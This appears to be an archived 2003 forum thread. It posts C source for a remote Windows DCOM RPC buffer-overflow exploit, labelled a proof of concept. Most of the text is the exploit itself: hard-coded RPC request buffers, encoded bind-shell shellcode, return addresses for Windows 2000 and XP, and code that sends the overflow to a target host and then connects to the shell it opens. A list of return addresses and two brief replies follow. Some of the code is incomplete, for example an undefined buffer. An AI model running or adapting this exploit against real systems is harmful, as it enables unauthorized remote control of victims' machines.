unsigned char requestA[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xb0,0x03,0x00,0x00,0x01,0x00,0x00,0x00 ,0x98,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x05,0x14,0x00
,0x68,0x03,0x00,0x00,0x68,0x03,0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00
,0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x00,0x00,0x00,0x00,0x38,0x03,0x00,0x00,0x30,0x03,0x00,0x00,0x00,0x00,0x00,0x00
,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x30,0x03,0x00,0x00,0xd8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00
,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x18,0x01,0x8d,0x00,0xb8,0x01,0x8d,0x00,0x00,0x00,0x00,0x00
,0x07,0x00,0x00,0x00,0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00
,0x00,0x00,0x46,0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00
,0x00,0x46,0xad,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00
,0x00,0x46,0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00
,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00
,0x00,0x58,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x30,0x00,0x00
,0x00,0xc0,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0x50,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0x48,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x5d,0x88,0x9a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08
,0x00,0x2b,0x10,0x48,0x60,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x47,0x0a,0x00,0x58,0x00,0x00
,0x00,0x00,0x50,0x00,0x60,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x6c,0xcc,0xcc,0xcc,0xc0,0x11,0x00
,0x80,0x0c,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x0b,0xa0
,0x90,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x04,0xd4,0x54
,0xf5,0x70,0x40,0x00,0x00,0x0c,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00
,0x00,0x00,0x00,0x00,0x04,0x63,0xb0,0x30,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00
,0x00,0x00,0x00,0x00,0x04,0x60,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x10,0x00
,0x10,0x06,0x73,0xc7,0x09,0x41,0x33,0x3f,0xd4,0x68,0x72,0x44,0xd0,0x93,0x98,0x89
,0x39,0xd0,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x11,0x00
,0x80,0x0c,0xcc,0xcc,0xcc,0xc4,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x0b,0x07,0xe0,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x08,0x90
,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0xd0,0x00,0x00,0x07,0x30,0x06,0x10,0x06,0xa0,0x06,0x90,0x06,0x10,0x06
,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x03,0x80,0x03,0x60,0x00,0x00,0x00
,0x80,0x0c,0xcc,0xcc,0xcc,0xc0,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc1,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc5,0x80,0x00
,0x00,0x00,0x00,0x00,0x00,0x0c,0x05,0xe0,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x01,0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xb0,0x00
,0x00,0x05,0xc0,0x05,0xc0,0x00,0x00,0x05,0xc0,0x06,0xa0,0x06,0x90,0x06,0x10,0x06
,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x00,0x00,0x03,0x60,0x05,0xc0,0x07
,0x00,0x07,0x50,0x06,0x20,0x06,0xc0,0x06,0x90,0x06,0x30,0x05,0xc0,0x04,0x10,0x04
,0x10,0x04,0x10,0x04,0x10,0x00,0x00,0x00,0x00,0x00,0x10,0x01,0x50,0x00,0x11,0x00
,0x80,0x0c,0xcc,0xcc,0xcc,0xc2,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x09,0x05,0xb0,0x90,0x00,0x20,0x00,0x00,0x00,0x10,0x06,0xc0,0x0c,0x0d,0xf0
,0x80,0x00,0x10,0x00,0x00,0x00,0x70,0x05,0x50,0x00,0x00,0x00,0x00,0x00};
unsigned char requestB[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xb0,0x03,0x00,0x00,0x02,0x00,0x00,0x00 ,0x98,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x05,0x14,0x00
,0x68,0x03,0x00,0x00,0x68,0x03,0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00
,0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x00,0x00,0x00,0x00,0x38,0x03,0x00,0x00,0x30,0x03,0x00,0x00,0x00,0x00,0x00,0x00
,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x30,0x03,0x00,0x00,0xd8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00
,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x18,0x01,0x8d,0x00,0xb8,0x01,0x8d,0x00,0x00,0x00,0x00,0x00
,0x07,0x00,0x00,0x00,0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xf6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xad,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00
,0x90,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x68,0x00,0x00,0x00
,0x30,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc
,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc
,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5d,0x88,0x9a,0xeb,0x1c,0xc9,0x11
,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x47,0x0a,0x00
,0x58,0x00,0x00,0x00,0x00,0x50,0x00,0x60,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x6c,0xcc,0xcc,0xcc
,0xc0,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x02,0x0b,0xa0,0x90,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00
,0x04,0xd4,0x54,0xf5,0x70,0x40,0x00,0x00,0x0c,0x00,0x10,0x00,0x00,0x00,0x00,0x00
,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x63,0xb0,0x30,0x00,0x00,0x00,0x00,0x00
,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x60,0x00,0x00,0x00,0x03,0x00,0x00,0x00
,0x00,0x10,0x00,0x10,0x06,0x73,0xc7,0x09,0x41,0x33,0x3f,0xd4,0x68,0x72,0x44,0xd0
,0x93,0x98,0x89,0x39,0xd0,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00
,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc4,0x80,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x0b,0x07,0xe0,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x0f,0x08,0x90,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00,0x07,0x30,0x06,0x10,0x06,0xa0,0x06,0x90
,0x06,0x10,0x06,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x03,0x80,0x03,0x60
,0x00,0x00,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc0,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc
,0xc1,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc
,0xc5,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x05,0xe0,0xa0,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xb0,0x00,0x00,0x00,0x00,0x00,0x00
,0x01,0xb0,0x00,0x00,0x05,0xc0,0x05,0xc0,0x00,0x00,0x05,0xc0,0x06,0xa0,0x06,0x90
,0x06,0x10,0x06,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x00,0x00,0x03,0x60
,0x05,0xc0,0x07,0x00,0x07,0x50,0x06,0x20,0x06,0xc0,0x06,0x90,0x06,0x30,0x05,0xc0
,0x04,0x10,0x04,0x10,0x04,0x10,0x04,0x10,0x00,0x00,0x00,0x00,0x00,0x10,0x01,0x50
,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc2,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x09,0x05,0xb0,0x90,0x00,0x20,0x00,0x00,0x00,0x10,0x06,0xc0
,0x0c,0x0d,0xf0,0x80,0x00,0x10,0x00,0x00,0x00,0x70,0x05,0x50,0x00,0x00,0x00,0x00
,0x00};
unsigned char requestC[]={ 0x05,0x00,0x0e,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x03,0x00,0x00,0x00 ,0xd0,0x16,0xd0,0x16,0x05,0xaf,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00
,0xb8,0x4a,0x9f,0x4d,0x1c,0x7d,0xcf,0x11,0x86,0x1e,0x00,0x20,0xaf,0x6e,0x7c,0x57
,0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00
,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
int type=0; struct { char *os; u_long ret; } targets[] = { { "[Win2k-Universal]", 0x00407EC8 }, /*0x0018759F */ { "[WinXP-Universal]", 0x00408134 }, }, v;
void usage(char *prog) { int i; printf("DCOM v2 BETA v.0.3 By Lemongreen: Usage: %s -d HOST\n"); printf(" Proof Of Concept "); printf(" Based On OC192 Code "); exit(0); }
unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" "\xcc\xe0\xfd\x7f" "\xcc\xe0\xfd\x7f" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
unsigned char requestD[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x9a,0x00,0x00,0x00,0x03,0x00,0x00,0x00 ,0x82,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x95,0x96,0x95,0x2a,0x8c,0xda,0x6d,0x4a
,0xb2,0x36,0x19,0xbc,0xaf,0x2c,0x2d,0xea,0x34,0xeb,0x8f,0x00,0x07,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x5c,0x00,0x5c,0x00,0x4d,0x00,0x45,0x00
,0x4f,0x00,0x57,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x48,0x00
,0x5c,0x00,0x48,0x00,0x01,0x00,0x00,0x00,0x58,0xe9,0x8f,0x00,0x01,0x00,0x00,0x00
,0x95,0x96,0x95,0x2a,0x8c,0xda,0x6d,0x4a,0xb2,0x36,0x19,0xbc,0xaf,0x2c,0x2d,0xea
,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x5c,0x00};
void con(int sockfd) { char rb[1500]; fd_set fdreadme; int i;
FD_ZERO(&fdreadme); FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme);
while(1) { FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme); if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break; if(FD_ISSET(sockfd, &fdreadme)) { if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0) { printf("Lost Connection\n"); exit(1); } if(write(1, rb, i) < 0) break; }
if(FD_ISSET(0, &fdreadme)) { if((i = read(0, rb, sizeof(rb))) < 0) { printf("Lost Connection\n"); exit(1); } if (send(sockfd, rb, i, 0) < 0) break; } usleep(10000); } printf("Lost Connection\n"); exit(0); }
int main(int argc, char **argv) { int len, len1, sockfd, c, a; unsigned long ret; unsigned short port = 593; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; unsigned short lportl=8001; char lport[4] = "\x00\xFF\xFF\x8b"; struct hostent *he; struct sockaddr_in their_addr; static char *hostname=NULL;
if(argc<2) { usage(argv[0]); }
while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF) { switch (c) { case 'd': hostname = optarg; break; case 't': type = atoi(optarg); if((type > 1) || (type < 0)) { printf("Select a valid target:\n"); for(a = 0; a < sizeof(targets)/sizeof(v); a++) return 1; } break; case 'r': targets[type].ret = strtoul(optarg, NULL, 16); break; case 'p': port = atoi(optarg); if((port > 65535) || (port < 1)) { printf("Select a port between 1-65535\n"); return 1; } break; case 'l': lportl = atoi(optarg); if((port > 65535) || (port < 1)) { printf("Select a port between 1-65535\n"); return 1; } break; default: usage(argv[0]); return 1; } }
if(hostname==NULL) { printf("Please enter a hostname with -d\n"); exit(1); }
printf("Checking....\n");
if((he = gethostbyname(hostname)) == NULL) { printf("Couldnt resolve hostname\n"); exit(1); }
printf("Done\n");
printf("Connecting... \n", hostname, port);
lportl=htons(lportl); memcpy(&lport[1], &lportl, 2); *(long*)lport = *(long*)lport ^ 0x9432BF80; memcpy(&sc[471],&lport,4);
memcpy(sc+36, (unsigned char *) &targets[type].ret, 4);
their_addr.sin_family = AF_INET; their_addr.sin_addr = *((struct in_addr *)he->h_addr); their_addr.sin_port = htons(port);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("Next..."); return(0); } if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("Done, is it a shell ? "); return(0); } len=sizeof(sc); memcpy(buf2,requestA,sizeof(requestA)); len1=sizeof(requestA); *(unsigned long *)(requestB)=*(unsigned long *)(requestB)+sizeof(sc)/2; *(unsigned long *)(requestB)=*(unsigned long *)(requestB)+sizeof(sc)/2; memcpy(buf2+len1,requestB,sizeof(requestB)); len1=len1+sizeof(requestB); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,requestC,sizeof(requestC)); len1=len1+sizeof(requestC); memcpy(buf2+len1,requestD,sizeof(requestA)); len1=len1+sizeof(requestD); *(unsigned long *)(buf2)=*(unsigned long *)(buf2)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sockfd,bindstr,sizeof(bindstr),0)== -1) { perror("Failed \n"); return(0); } len=recv(sockfd, buf1, 1000, 0); if (send(sockfd,buf2,len1,0)== -1) { perror("Failed \n"); return(0); } close(sockfd); sleep(1); their_addr.sin_family = AF_INET; their_addr.sin_addr = *((struct in_addr *)he->h_addr); their_addr.sin_port = lportl;
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("Failed \n"); return(0); } if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("Failed \n"); return(0); } printf("A shell ? \n");
sleep(2);
printf("Maybe.. You tell me \n");
con(sockfd);
return(0); }
|
RET ADDRESS
| CODE | 0x00407EC8 0x004080A8 0x00408134 0x004081D2 0x0040824F 0x004082C1 0x0040831D 0x00408379 0x004083EC 0x0040845B 0x004084D7 0x0040855F 0x004085DB 0x00408669 0x004086D8 0x00408738 0x0040879F 0x0040A000 0x0040A02A 0x0040E151 0x0040E15E 0x004276BA 0x004276c6 0x00427E44 0x00427E8B 0x00427EAF 0x00427EC5 0x00427F12 0x00429B91 0x00429C77
|
woutiir
Sep 15 2003, 05:12 PM
i'll finish the code, brb..  Gr. woutiir
Daume
Sep 15 2003, 06:38 PM
thks wootir post it on the forum when you will finish it
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|